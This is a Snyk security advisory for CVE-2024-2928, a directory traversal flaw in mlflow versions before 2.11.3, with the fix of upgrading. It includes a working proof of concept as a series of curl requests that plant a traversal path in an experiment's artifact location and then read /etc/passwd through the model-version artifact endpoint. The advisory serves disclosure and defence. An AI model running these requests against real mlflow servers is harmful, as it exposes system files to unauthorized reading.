Improper Access Control Affecting mlflow package, versions [,2.11.3)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.41% (75th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-MLFLOW-7217833
  • published7 Jun 2024
  • disclosed6 Jun 2024
  • creditPeng Zhou

Introduced: 6 Jun 2024

CVE-2024-2928  (opens in a new tab)
CWE-29  (opens in a new tab)

How to fix?

Upgrade mlflow to version 2.11.3 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Improper Access Control through the URI fragment parsing process. An attacker can read arbitrary files on the local file system by manipulating the fragment part of the URI to include directory traversal sequences such as ../.

PoC

Start the mlflow web server:

mlflow ui --host 127.0.0.1:5000

Create a malicious experiment:

curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "artifact_location": "http:///#/../../../../../../../../../../../../../../etc/"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/experiments/create'

Associate a run to it:

curl -X POST -H 'Content-Type: application/json' -d '{"experiment_id": "{{EXPERIMENT_ID}}"}' 'http://127.0.0.1:5000/api/2.0/mlflow/runs/create'

Create a registered model:

curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create'

Link a model version to the malicious run:

curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create'

Read /etc/passwd:

curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=passwd&name=poc&version=1'

CVSS Scores

version 3.1